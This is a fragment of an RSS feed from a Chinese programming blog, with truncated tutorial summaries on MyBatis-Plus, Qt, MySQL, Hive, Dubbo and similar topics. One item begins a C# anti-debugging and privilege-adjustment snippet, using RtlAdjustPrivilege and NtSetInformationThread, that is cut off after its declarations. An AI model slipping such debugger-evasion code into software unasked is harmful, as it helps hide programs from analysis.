      <link>https://bchobby.github.io/posts/5f0b88d6a6074e4454ce4ad8679b4597/</link>
      <pubDate>Sat, 05 Nov 2022 22:56:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5f0b88d6a6074e4454ce4ad8679b4597/</guid>
      <description>Mybatis-Plus 代码生成器，自定义模板Demo,快速搭建！！ 前言 详细信息以及具体配置方法解析–》官方文档：https://baomidou.com/&#xA;目录： Mybatis-Plus 代码生成器，自定义模板Demo,快速搭建！！前言1.所需maven ：2.代码生成配置3.自定义模板3.1 公共基础类3.2 自定义模板（vm）3.21 controller模板3.22 service模板（vm）3.23 serviceImpl模板（vm）3.24公共查询基础模板（vm）： 1.所需maven ： velocity 和 freemarker 选择导入，velocity 对应vm的模板，freemarker 对应flt模板，自定义模板，需要将导入进的配置下的模板复制到自己项目的resource下&#xA;01：Mybatis-Plus 下的模板&#xA;02：自己项目 resource 新建 templates&#xA;03:maven:&#xA;&amp;lt;dependencies&amp;gt; &amp;lt;!-- mybatis plus 代码生成器 --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-boot-starter&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.baomidou&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mybatis-plus-generator&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.5.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.velocity&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;velocity-engine-core&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.3&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.freemarker&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;freemarker&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.3.31&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;mysql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;mysql-connector-java&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.projectlombok&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;lombok&amp;lt;/artifactId&amp;gt; &amp;lt;optional&amp;gt;true&amp;lt;/optional&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; 2.代码生成配置 package cn.hb.ycmm.basic; import com.baomidou.mybatisplus.annotation.FieldFill; import com.</description>
    </item>
    <item>
      <title>谷歌浏览器无法翻译此网页</title>
      <link>https://bchobby.github.io/posts/fe7558802cbc838842da8f0238c81247/</link>
      <pubDate>Sat, 05 Nov 2022 22:11:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fe7558802cbc838842da8f0238c81247/</guid>
      <description>原因：谷歌关闭了中国大陆的谷歌翻译服务&#xA;方案一：通过 hosts 把谷歌翻译的 API 指向国内可用服务器地址&#xA;一、按 Win + R 键打开运行 ➡ 输入 cmd 回车 ➡ 输入 ping google.cn 回车。如下图，拿到 ping 成功的 ip，复制 ip&#xA;二、找到 C:\Windows\System32\drivers\etc ，目录下的 hosts 文件，用记事本打开，在最下面加入以下文本（已经成功的 ip ），注：ip 和 translate.googleapis.com 之间有一个空格&#xA;172.217.215.90 translate.googleapis.com 172.253.115.90 translate.googleapis.com 142.250.189.206 translate.googleapis.com 142.250.126.90 translate.googleapis.com 142.250.10.90 translate.googleapis.com 142.250.0.90 translate.googleapis.com 120.253.255.34 translate.googleapis.com 可能保存hosts文件的时候会提示没有权限，那就更改权限，右键hosts文件 ➡ 属性 ➡ 安全&#xA;三、按 Win + R 键打开运行 ➡ 输入 cmd 回车 ➡ 输入 ipconfig /flushdns 回车，刷新DNS&#xA;补充：目前上述 IP 是能用的，如果失效，可以使用步骤一，ping 成功之后复制 ip，修改hosts</description>
    </item>
    <item>
      <title>Graphviz 可视化图形软件（python）</title>
      <link>https://bchobby.github.io/posts/14de92d9954e8aed7e99ce685f705141/</link>
      <pubDate>Sat, 05 Nov 2022 21:50:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14de92d9954e8aed7e99ce685f705141/</guid>
      <description>目录&#xA;1.简介&#xA;2.Graphviz 工具安装&#xA;3.检查是否安装成功 4. Graphviz 库安装&#xA;5.验证安装的graphviz是否可用 6.绘制红酒数据集得到的决策树： 7.问题：pycharm正常画决策树，但jupyter显示：ModuleNotFoundError: No module named &#39;graphviz&#39;&#xA;1.简介 Graphviz 是一款由 AT&amp;amp;T Research 和 Lucent Bell 实验室开源的可视化图形工具，可以很方便的用来绘制结构化的图形网络，支持多种格式输出。Graphviz 输入是一个用 dot 语言编写的绘图脚本，通过对输入脚本的解析，分析出其中的点、边及子图，然后根据属性进行绘制。Graphviz layout 以简单的文本语言描述图形，并以实用的格式制作图表，如用于网页的 images 和 SVG ；用于放入在其它文件中或显示在交互式图形浏览器中的 PDF 和 Postscript 。&#xA;对于 Python 而言，也有一个 Graphviz 库与该工具对应，使用 Graphviz 库可以使用 Python 的语法生成 dot 语言绘图脚本，并调用 Graphviz 工具生成图片并保存。但是由于 Graphviz 库并不是独立工作的库，它需要连接 Graphviz 工具来联合工作，也就是说当你需要使用 Graphviz 库时必须安装 Graphviz 工具并设置好 Python 调用 Graphviz 工具的接口。&#xA;不会出错的安装&#xA;如果我们需要在Python中直接将.dot文件转成pdf显示出来，就需要导入库，安装库也很简单，只需要执行pip install graphviz 即可。&#xA;2.Graphviz 工具安装 官网地址</description>
    </item>
    <item>
      <title>3-MySQL常用数据类型及表管理</title>
      <link>https://bchobby.github.io/posts/70f8920c2205c321524502e3e06a45f7/</link>
      <pubDate>Sat, 05 Nov 2022 20:04:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70f8920c2205c321524502e3e06a45f7/</guid>
      <description>数据类型&#xA;1.整数类型:只能包含数字的类型，不包含小数点&#xA;TINYINT：占用1字节存储空间（1B） SMALLINT：占用2字节存储空间（2B） MEDIUMINT：占用3字节存储空间（3B） INT：可以动态设置数据占用的存储空间 BIGINT：占用8字节存储空间（8B） 2.浮点类型：带小数点的数&#xA;FLOAT :单精度，4字节&#xA;DOUBLE：双精度类型，8字节&#xA;DECIMAL：定点数类型,可以固定小数点后数据的位数（精度）&#xA;3.字符串类型&#xA;char:固定长度的字符串类型，比如邮政编码char(6)，身份证号char(18),长度不能超过8000字节&#xA;VARCHAR：不固定长度的字符串类型,设置最大数据范围，比如varchar(100),长度不能超过8000字节&#xA;BINARY：固定长度的二进制,长度不能超过8000字节&#xA;VARBINARY：不固定长度的字符串类型,长度不能超过8000字节&#xA;BLOB：大文件操作&#xA;text：大文本数据操作&#xA;enum：限定范围（‘男’，‘女’）&#xA;set：简单理解为数组集合&#xA;4.日期与时间类型&#xA;year:年&#xA;date：日期（包含年月日）&#xA;time：时间（包含时分秒）&#xA;datetime：日期时间（包含年月日时分秒）&#xA;TIMESTAMP：时间戳，精度比datetime要高&#xA;5.二进制类型&#xA;bit:1位&#xA;BINARY&#xA;VARBINARY&#xA;BLOB&#xA;TINYBLOB&#xA;MEDIUMBLOB LONGBLOB&#xA;-- 创建数据表create table 语句&#xA;/*&#xA;创建学生表（学生表)&#xA;学号 整形,不允许为空(not null) ，主键(primary key)&#xA;姓名 字符串，最大长度20字符&#xA;年龄 整形 ，必须大于0&#xA;班级 字符串&#xA;性别 字符串&#xA;*/&#xA;-- 删除表格&#xA;drop table 学生表;&#xA;/*&#xA;字段名称必须唯一,&#xA;字段名称中间最好不要出现空格，如果字段名称包含空格，必须加上`符号&#xA;字段名称要有一定的意义&#xA;*/&#xA;create table 学生表</description>
    </item>
    <item>
      <title>电脑录屏怎么录？3个方法，教你如何录制视频</title>
      <link>https://bchobby.github.io/posts/48a19522ba9bb008178ac28d9ee92959/</link>
      <pubDate>Sat, 05 Nov 2022 16:40:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/48a19522ba9bb008178ac28d9ee92959/</guid>
      <description>电脑录屏是可以通过录制视频的方式进行记录下我们的操作过程，并且可以随时保存下来方便以后查阅使用。大家都知道，电脑录屏是非常实用的，能够帮助我们记录屏幕上的内容，而且还能保存下来，以便我们以后的电脑学习使用。&#xA;电脑录屏怎么录？本文将将会带来3个实用功能，教你如何录制视频。那么那么就一起来看一下吧！&#xA;电脑录屏怎么录方法1：电脑自带的步骤记录器 电脑怎么录制屏幕？借用Windows的电脑都自带一个工具：步骤记录器。这个系统步骤记录器一般用于需要简单的图文教程的制作，不需要任何操作就能够对电脑进行自动录下来。操作步骤如下：&#xA;首先，点击开始菜单，选择【运行】，也可以快捷键【Win+R】，在窗口中，输入”PSR”，调出问题步骤记录器。&#xA;接下来，点击开始录制，即可录制屏幕。在录制过程中有“开始记录”、“停止记录”、“添加注释”、“暂停记录”、“恢复记录”的按钮录制完成，点击结束录制就可以了。&#xA;电脑录屏怎么录方法2：使用电脑QQ的录屏功能 不想安装其他软件，怎么在电脑上录制屏幕视频 ？QQ录屏的方法很简单，只需要同时按下快捷键Ctrl+Alt+S就能启动录屏功能，这是非常重要的一个步骤，然后选择需要录制的区域开始录制，点击结束，录制的内容可以自己保存下来然后修改视频名称，以方便以后查阅使用了。&#xA;第1步：打开要发送录屏的聊天窗口;&#xA;第2步：点击下图所示截图图标，选择“屏幕录制”，也可直接快捷键ctrl+alt+S;&#xA;第3步：然后选择要录制的区域，设置需要录制的屏幕大小;&#xA;第4步：选择区域后点击右下角的“开始录制”;录制前可以设置扬声器和麦克风，录制完毕点击【结束录制】。&#xA;电脑录屏怎么录方法3：安装专业的电脑录屏软件 想在电脑上录屏，还可以借用专业电脑录屏软件。这个软件相对就成熟很多，也是录屏软件中的老牌选手，不但功能齐全，操作也很简单，可满足绝大多数小白用户的录屏需求。软件支持录制电脑屏幕上的操作过程，包括软件操作、网络教学、课件制作等，录屏的同时录制麦克风和电脑声音。实现视频、音频、画质、录制格式、录制模式等多种选项。操作步骤如下：&#xA;步骤1.打开安装好的数据蛙录屏软件，之后点击【视频录制】，在录制界面，声音来源选择全部（支持麦克风和扬声器，其中麦克风是指外部声音，而扬声器是指录制电脑内部声音），并根据您的需要打开摄像头。&#xA;如下图，视频支持全屏录制和自定义区域录制。&#xA;步骤2.在电脑录屏的过程中，根据自己的实际情况进行配置参数，保证视频质量，有利于视频的剪辑。这里可以对视频的清晰度、帧率、音量、声源、麦克风、网络延迟、帧率优先级等信息进行设置。完毕后，点击【开始录制】按钮，显示录制计时3秒，代表开始全屏录制视频。&#xA;备注：需要根据实际情况对音频降噪处理，音频质量更好些。&#xA;步骤3.屏幕录像结束后，点击【停止录制】按钮，软件自动弹出视频预览窗口，查看录制的视频后，点击【完成】，点击保存就可以完成了。这里注意了，录制时间是不限制的哦。&#xA;录屏流程都是非常简单而且非常方便的。电脑录屏怎么录？按照上面推荐的3个办法，只要打开了软件就可以直接录制，也可以选择数据蛙录屏软件自己进行安装，非常好用，操作简单又方便快捷！我们就按照上面所说的方法，这样就完成了录制电脑屏幕上啦！</description>
    </item>
    <item>
      <title>QT编译Mysql驱动文件</title>
      <link>https://bchobby.github.io/posts/72257ac34eb15f2eb30302cc8ff63a61/</link>
      <pubDate>Sat, 05 Nov 2022 12:41:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/72257ac34eb15f2eb30302cc8ff63a61/</guid>
      <description>一．错误分析 1.Qt报错：QSqlDatabase: QMYSQL driver not loaded&#xA;2.原因分析：QT没有MySQL的驱动，即在QT目录下没有qsqlmysql.dll文件。&#xA;3.解决方法：需要在QT中重新编译一下MySQL的驱动，得到qsqlmysql.dll文件，并将它放到QT合适的目录下。&#xA;二．软件版本 1.Qt：Qt5.15.2&#xA;2.MySQL：MySQL Server 8.0&#xA;三．解决步骤 1.通过Qt安装目录下的源码编译qsqlmysql.dll文件&#xA;(1).在Qt安装目录下的src源码里找到MySQL文件夹：D:\programming\Qt5.15\Install\5.15.2\Src\qtbase\src\plugins\sqldrivers\mysql&#xA;(2).用Qt Creator打开mysql.pro文件&#xA;(3).注释掉&#xA;QMAKE_USE += mysql (4).添加以下代码&#xA;INCLUDEPATH += &#34;C:/Program Files/MySQL/MySQL Server 8.0/include&#34; DEPENDPATH += &#34;C:/Program Files/MySQL/MySQL Server 8.0/include&#34; LIBS += &#34;C:/Program Files/MySQL/MySQL Server 8.0/lib/libmysql.lib&#34; 其中的路径为自己MySQL安装的路径，需要根据安装位置做出更改&#xA;最后添加编译出来的MySQL驱动文件存放位置的代码&#xA;DESTDIR = ../mysql/mylib 点击构建，不出意外的话会报错:Cannot read D:/qtsqldrivers-config.pri: No such file or directory&#xA;这是因为找不到qtsqldrivers-config.pri文件，但是我们在sqldrivers文件夹下可以找到此文件，因此我们需要修改qtsqldrivers-config.pri文件。&#xA;在D:\programming\Qt5.15\Install\5.15.2\Src\qtbase\src\plugins\sqldrivers目录下打开qtsqldrivers-config.pri文件，把其中的&#xA;include($$shadowed($$PWD)/qtsqldrivers-config.pri) 注释掉&#xA;并添加这一句代码：&#xA;include(./configure.pri) 完成以上全部操作后，再次点击小锤子构建项目。&#xA;打开mylib文件夹，里面就会有生成出来的适用于当前Qt版本的MySQL驱动文件了。&#xA;2.将对应编译套件的驱动文件放到对应的文件夹下&#xA;这里使用的是MSVC2019 64bit套件，则需要将驱动文件中的qsqlmysql.dll文件放入D:\programming\Qt5.15\Install\5.15.2\msvc2019_64\plugins\sqldrivers文件夹下。&#xA;3.将MySQL安装目录下的libmysql.dll文件放入合适文件夹&#xA;将MySQL安装目录下lib文件夹里的” libmysql.dll”文件复制到D:\programming\Qt5.15\Install\5.15.2\msvc2019_64\bin文件夹。&#xA;完成上述步骤就可以使用Qt连接MySQL数据库了。</description>
    </item>
    <item>
      <title>基于VSCode和CMake的C/C&#43;&#43;开发（Linux）1</title>
      <link>https://bchobby.github.io/posts/1841777c3fdb31cdf232433e39779901/</link>
      <pubDate>Sat, 05 Nov 2022 10:51:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1841777c3fdb31cdf232433e39779901/</guid>
      <description>基本的Linux指令 ctrl+alt+t 打开终端&#xA;完整指令的标准格式：命令（空格） [选项]（空格） [操作对象]&#xA;选项和操作对象可有可无&#xA;pwd 打印当前目录ls 列出当前目录下所有文件和文件夹的名称ls [路径] 列出指定路径下文件和文件夹的名称 # ls 相对路径&#xA;ls ./ #【表示当前目录下】&#xA;ls ../ #【上一级目录下】&#xA;# ls 绝对路径&#xA;ls /home&#xA;ls [选项] [路径] 含义：列出指定路径下的所有文件/文件夹的名称&#xA;绝对路径：相对根目录的路径；&#xA;相对路径：相对当前目录的路径；&#xA;# ls 选项 路径&#xA;ls -lah /home&#xA;# 选项解释：&#xA;-l：表示list，表示以详细列表的形式进行展示&#xA;-a：表示显示所有的文件/文件夹（包含了隐藏文件/文件夹）&#xA;-h：表示以可读性较高的形式显示&#xA;# ls -l 中 “-”表示改行对应的文档类型为文件，“d”表示文档类型为文件夹。&#xA;# 在Linux中隐藏文档一般都是以“.”开头&#xA;ctrl + l 清屏cd - change directory 作用：切换当前的工作目录&#xA;用法1：cd ； cd ~&#xA;用法2：cd [相对路径] # 进入到上级目录下&#xA;cd ..</description>
    </item>
    <item>
      <title>vscode代码自动对齐插件—vscode 保存代码自动对齐设置方法</title>
      <link>https://bchobby.github.io/posts/f2016c964012fadfe8a7fa1d7fdf6644/</link>
      <pubDate>Sat, 05 Nov 2022 01:37:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2016c964012fadfe8a7fa1d7fdf6644/</guid>
      <description>1.设置&#xA;2.在搜索框输入（Format On Save）然后勾选就可以了！</description>
    </item>
    <item>
      <title>C# 下调试陷阱/调整权限/剥离调试器/调试自己</title>
      <link>https://bchobby.github.io/posts/58f07af872279724855946e03491adad/</link>
      <pubDate>Sat, 05 Nov 2022 00:04:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/58f07af872279724855946e03491adad/</guid>
      <description>using System; using System.ComponentModel; using System.Runtime.InteropServices; public partial class ForciblyAdjustPrivilege { private abstract class NativeMethods { [DllImport(&#34;ntdll.dll&#34;, SetLastError = true)] public static unsafe extern int RtlAdjustPrivilege(int Privilege, [MarshalAs(UnmanagedType.Bool)]bool Enable, int CurrentThread, bool* Enabled); [DllImport(&#34;ntdll.dll&#34;, SetLastError = true)] public static unsafe extern int NtSetInformationThread(IntPtr ThreadHandle, int ThreadInformationClass, int ThreadInformation, int ThreadInformationLength); [DllImport(&#34;kerenl32.dll&#34;, SetLastError = true)] public static unsafe extern IntPtr GetCurrentThread(); [DllImport(&#34;kerenl32.dll&#34;, SetLastError = true)] public static unsafe extern IntPtr GetCurrentProcess(); [DllImport(&#34;</description>
    </item>
    <item>
      <title>hive数据倾斜（超详细）</title>
      <link>https://bchobby.github.io/posts/201671281bd5b589befa760c116038f5/</link>
      <pubDate>Fri, 04 Nov 2022 21:24:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/201671281bd5b589befa760c116038f5/</guid>
      <description>说到hive的数据倾斜，可能有的小伙伴还不了解什么是数据倾斜，所以咱们这一次就从hive数据倾斜的表现、hive数据倾斜发生的原因、hive数据倾斜的解决方案这三个方面来聊一聊hive的数据倾斜&#xA;1、hive数据倾斜的表现&#xA;我们都知道hive的底层其实是mr（MapReduce）引擎，hsql其实就是把sql语言转换成mr去运行，这样就大大缩减了咱们去写mr的时间，然而有时候咱们会发现在你运行一个任务的时候，明明所有的map task都完成了，并且99%的reduce task也完成，只剩下一个后者少数几个reduce task一直在执行，等了半天就是不动，其实这种情况一般都是发生了数据倾斜，说白了，hive的数据倾斜本质上就是MapReduce的数据倾斜（感兴趣的小伙伴可以去查看任务监控页面）&#xA;2、hive数据倾斜的原因&#xA;其实数据倾斜这个问题，在MapReduce编程模型中十分常见，根本原因就是大量相同的key被分配到一个reduce里，造成一个reduce任务累死了，但是其他的reduce任务闲死（和我现在上班一样，，，，）。下面咱们来罗列一下常见的数据倾斜有哪些原因：&#xA;一、key分布不均衡&#xA;二、业务问题后者业务数据本身的问题，某些数据比较集中&#xA;三、建表的时候考虑不周&#xA;四、某些sql语句本身就有数据倾斜，例如：&#xA;（1）大表join小表：其实小表的key集中，分发到某一个或者几个reduce上的数据远远高于平均值&#xA;（2）大表join大表：空值或无意义值：如果缺失的项很多，在做join时这些空值就会非常集中，拖累进度。&#xA;（3）group by： group by的时候维度过小，某值的数量过多，处理某值的reduce非常耗时间。&#xA;（4）Count distinct：某特殊值过多，处理此特殊值的reduce耗时。&#xA;3、Hive数据倾斜解决 【参数调节】 hive.map.aggr = true&#xA;Map端部分聚合。&#xA;有数据倾斜的时候进行负载均衡，当选项设定为true，生成的查询计划会有两个MRJob。第一个MRJob中，Map的输出结果集合会随机分不到Reduce中，每个Reduce做部分聚合操作，并输出结果，这样处理的结果是相同于Group By Key 有可能被分发到不同的Reduce中，从而达到负载均衡的目的；第二个MRJob再根据预处理的数据结果按照Group By Key分不到Reduce中(这个过程可以保证相同的Group By Key被分布到同一个Reduce中)，最后完成最终的聚合操作。&#xA;【SQL调整】&#xA;1）如何join：关于驱动表的选取，选用join key分布最均匀的表作为驱动表，做好列裁剪和filter操作，以达到两表做join的时候，数据量相对变小的效果。&#xA;2）大小表join的时候：使用map join 让小的维度表先进内存，在map端完成reduce。效率很高。&#xA;3）大表join大表的时候：把空值的key变成一个字符串加上随机数，把倾斜的数据分到不同的reduce上，由于null值关联不上，处理后不影响最终的结果。&#xA;4）count distinct 大量相同特殊值，将这些值为空的情况单独处理，如果是计算count distinct，可以不用处理，直接过滤，在最后结果中加1即可。如果还有其他的计算，需要进行group by，可以先将那些值为空的记录单独处理，再和其他计算结果进行 union。&#xA;5）group by 维度过小的时候：采用sum() group by 的方法来替换count(distinct)完成计算。&#xA;6）单独处理倾斜key：一般来讲倾斜的key都很少，我们可以将它们抽样出来，对应的行单独存入临时表中，然后打上随机数前缀，最后再进行聚合。或者是先对key做一层hash，先将数据随机打散让它的并行度变大，再汇集。其实办法一样。</description>
    </item>
    <item>
      <title>一种裁剪人体步态轮廓图方法</title>
      <link>https://bchobby.github.io/posts/3270eb251c5156545c657fc90fdd7c2e/</link>
      <pubDate>Fri, 04 Nov 2022 19:56:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3270eb251c5156545c657fc90fdd7c2e/</guid>
      <description>写在前面 当我们好不容易从视频或者摄像头获取到了想要的步态轮廓图，却发现无法投入神经网络训练，这是为什么呢？其实是因为像GaitSet等步态识别网络对输入图像有标准的格式：64×44且裁剪过的人体步态轮廓图，我们只有满足这样的格式才能够投入训练。&#xA;而本文章主要就是提供一个方式可以将获得的步态轮廓图进行裁剪，使得其符合神经网络的输入格式，可以投入训练。&#xA;一种裁剪人体步态轮廓图方法&#xA;写在前面&#xA;实现code&#xA;核心代码：&#xA;枝干代码：&#xA;使用教程：&#xA;回顾： 实现code 使用这个函数我们文件夹下的图片需要满足的格式是类似这样子的二值图：&#xA;函数的原理其实就是找到图中白色像素的最高点、最低点、最右边的点和最左边的点，所以我们要确保图中仅仅出现了白色的人。&#xA;简单来讲就是需要图片是二值图的步态轮廓图！&#xA;核心代码： def cut(image): &#39;&#39;&#39; 通过找到人的最小最大高度与宽度把人的轮廓分割出来，、 因为原始轮廓图为二值图，因此头顶为将二值图像列相加后，形成一列后第一个像素值不为0的索引。 同理脚底为形成一列后最后一个像素值不为0的索引。 人的宽度也同理。 :param image: 需要裁剪的图片 N*M的矩阵 :return: temp: 裁剪后的图片 size*size的矩阵。flag：是否是符合要求的图片 &#39;&#39;&#39; image = np.array(image) # 找到人的最小最大高度与宽度 height_min = (image.sum(axis=1) != 0).argmax() height_max = ((image.sum(axis=1) != 0).cumsum()).argmax() width_min = (image.sum(axis=0) != 0).argmax() width_max = ((image.sum(axis=0) != 0).cumsum()).argmax() head_top = image[height_min, :].argmax() # 设置切割后图片的大小，为size*size，因为人的高一般都会大于宽 size = height_max - height_min temp = np.</description>
    </item>
    <item>
      <title>Java IP归属地查询（离线方式&#43;在线方式，内附查询IP方法）</title>
      <link>https://bchobby.github.io/posts/a19e79a792fc6fbba328f22c5bb4b82e/</link>
      <pubDate>Fri, 04 Nov 2022 18:54:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a19e79a792fc6fbba328f22c5bb4b82e/</guid>
      <description>一、离线方式 1.1. 下载 ip2region.xdb GitHub项目地址：https://github.com/lionsoul2014/ip2region&#xA;我们首先需要下载一个 ip2region.xdb 的文件&#xA;下载地址：https://github.com/lionsoul2014/ip2region/blob/master/data/ip2region.xdb&#xA;打开后点击如图的Download图标即可下载。&#xA;下载完成后，需要将该文件放到我们的项目中。&#xA;ps：我是直接放到服务器的，因为放在项目的资源文件夹下，当我们调试的时候使用Java Spring自带的工具去获取该文件的绝对路径时，没有任何问题，能够正常获取到。但是当我们打成jar包部署到测试或者开发环境，就会拿不到该文件，具体情况可以看 spring boot集成，db放在resource下，打jar包后可以加载资源，但search不生效。本地debug生效 该Issues，如果不想麻烦的话直接放在服务器上吧，这样我们就能直接配好绝对路径了，少走弯路。&#xA;1.2. 代码实现 首先需要导包：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.lionsoul&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;ip2region&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.6.5&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; /** * 通过ip地址获取所属国家-离线方式 * * @param ip IP地址 * @param dbPath ip2region.xdb路径 * @return 国家信息 */ public static String getCountryByIpOffline(String ip, String dbPath) throws Exception{ // 1、从 dbPath 中预先加载 VectorIndex 缓存，并且把这个得到的数据作为全局变量，后续反复使用。 byte[] vIndex = Searcher.loadVectorIndexFromFile(dbPath); // 2、使用全局的 vIndex 创建带 VectorIndex 缓存的查询对象。 Searcher searcher = Searcher.newWithVectorIndex(dbPath, vIndex); // 3、查询 return searcher.</description>
    </item>
    <item>
      <title>Dubbo与SpringCloud和Feign的区别</title>
      <link>https://bchobby.github.io/posts/5ed0f8b61abb2803d97783fe060eea79/</link>
      <pubDate>Fri, 04 Nov 2022 17:24:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5ed0f8b61abb2803d97783fe060eea79/</guid>
      <description>目录&#xA;1.SpringCloud与Dubbo的区别&#xA;2.注册服务的区别&#xA;3.Dubbo和Feign远程调用的区别 4.Rest和RPC对比&#xA;5.Eureka与Nacos注册中心的区别&#xA;6.Nacos中的CAP模式切换&#xA;7.Eureka和Zookeeper注册中心的区别&#xA;8.微服务之间是如何独立通讯的&#xA;9.微服务的优缺点&#xA;10. SpringCloud中的常用组件有哪些&#xA;11.总结&#xA;1.SpringCloud与Dubbo的区别 SpringCloud和Dubbo都是现在主流的微服务架构;&#xA;SpringCloud是Apache旗下的Spring体系下的微服务解决方案Dubbo是阿里系的分布式服务治理框架 初始定位不同：SpringCloud定位为微服务架构下的一站式解决方案；Dubbo 是 SOA 时代的产物，它的关注点主要在于服务的调用和治理&#xA;生态环境不同：SpringCloud依托于Spring平台，具备更加完善的生态体系；而Dubbo一开始只是做RPC远程调用，生态相对匮乏，现在逐渐丰富起来。&#xA;调用方式：SpringCloud是采用Http协议做远程调用，接口一般是Rest风格，比较灵活；Dubbo是采用Dubbo协议，接口一般是Java的Service接口，格式固定。但调用时采用Netty的NIO方式，性能较好。&#xA;组件差异比较多，例如SpringCloud注册中心一般用Eureka，而Dubbo用的是Zookeeper&#xA;两者的生态对比：&#xA;2.注册服务的区别 Dubbo是基于java接口及Hession2序列化的来实现传输的，Provider对外暴露接口，Consumer根据接口的规则调用。也就是Provider向Zookeeper注册的是接口信息，Consumer从Zookeeper发现的是接口的信息，通过接口的name，group，version来匹配调用。Consumer只关注接口是否匹配，而对此接口属于什么应用不关心。当然接口的注册信息里会包含应用的ip，hostname等。SpringCloud的服务发现是基于Http协议来实现的，Provider对外暴露的是应用信息，比如应用名称，ip地址等等，Consumer发现的是应用的信息，当调用的时候随机选择一个Provider的IP地址，应用名称，然后依据Http协议发送请求。Consumer关注的是应用名称，根据应用名称来决定调用的是哪个服务集群，然后对此名称对应的服务集群做负载均衡。Provider接受到请求后，根据内置的SpringMVC来匹配路由处理请求。 3.Dubbo和Feign远程调用的区别 Dubbo与 Feign 都依赖注册中心、负载均衡，作用是提供远程接口调用。 常见的 实现远程调用的方式： Http接口（web接口、RestTemplate+Okhttp）、Feign、RPC调用（Dubbo、Socket编程）、Webservice...&#xA;1、协议&#xA;Dubbo：&#xA;支持多传输协议(Dubbo、Rmi、http、redis等等)，可以根据业务场景选择最佳的方式。非常灵活。&#xA;默认的Dubbo协议：利用Netty，TCP传输，单一、异步、长连接，适合数据量小、高并发和服务提供者远远少于消费者的场景。&#xA;Feign：&#xA;基于Http传输协议，短连接，不适合高并发的访问。&#xA;2、负载均衡&#xA;Dubbo：&#xA;支持4种算法（随机、轮询、活跃度、Hash一致性），而且算法里面引入权重的概念。&#xA;配置的形式不仅支持代码配置，还支持Dubbo控制台灵活动态配置。&#xA;负载均衡的算法可以精准到某个服务接口的某个方法。&#xA;Feign：&#xA;只支持N种策略：轮询、随机、ResponseTime加权。&#xA;负载均衡算法是Client级别的。&#xA;Nacos注册中心很好的兼容了Feign，Feign默认集成了Ribbon，所以在Nacos下使用Fegin默认就实现了负载均衡的效果。&#xA;3、容错策略&#xA;Dubbo：&#xA;支持多种容错策略：failover、failfast、brodecast、forking等，也引入了retry次数、timeout等配置参数。&#xA;Feign：&#xA;利用熔断机制来实现容错的，处理的方式不一样。&#xA;Feign是SpringCloud中的远程调用方式，基于成熟Http协议，所有接口都采用Rest风格。因此接口规范更统一，而且只要符合规范，实现接口的微服务可以采用任意语言或技术开发。但受限于http协议本身的特点，请求和响应格式臃肿，其通信效率相对会差一些。&#xA;Dubbo框架默认采用Dubbo自定义通信协议，与Http协议一样底层都是TCP通信。但是Dubbo协议自定义了Java数据序列化和反序列化方式、数据传输格式，因此Dubbo在数据传输性能上会比Http协议要好一些。&#xA;不过这种性能差异除非是达极高的并发量级，否则无需过多考虑。&#xA;4.Rest和RPC对比 Dubbo采用自定义的Dubbo协议实现远程通信，是一种典型的RPC调用方案，而SpringCloud中使用的Feign是基于Rest风格的调用方式。&#xA;1）Rest风格&#xA;REST是一种架构风格，指的是一组架构约束条件和原则。满足这些约束条件和原则的应用程序或设计就是 RESTful。&#xA;Rest的风格可以完全通过HTTP协议实现，使用 HTTP 协议处理数据通信。REST架构对资源的操作包括获取、创建、修改和删除资源的操作正好对应HTTP协议提供的GET、POST、PUT和DELETE方法。&#xA;因此请求和想要过程只要遵循http协议即可，更加灵活&#xA;SpringCloud中的Feign就是Rest风格的调用方式。&#xA;2）RPC&#xA;Remote Procedure Call，远程过程调用，就是像调用本地方法一样调用远程方法。</description>
    </item>
    <item>
      <title>【CSS】使元素在父元素中居中显示的几种方法</title>
      <link>https://bchobby.github.io/posts/cc6f279432136f4457d54f49659530ba/</link>
      <pubDate>Fri, 04 Nov 2022 17:18:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cc6f279432136f4457d54f49659530ba/</guid>
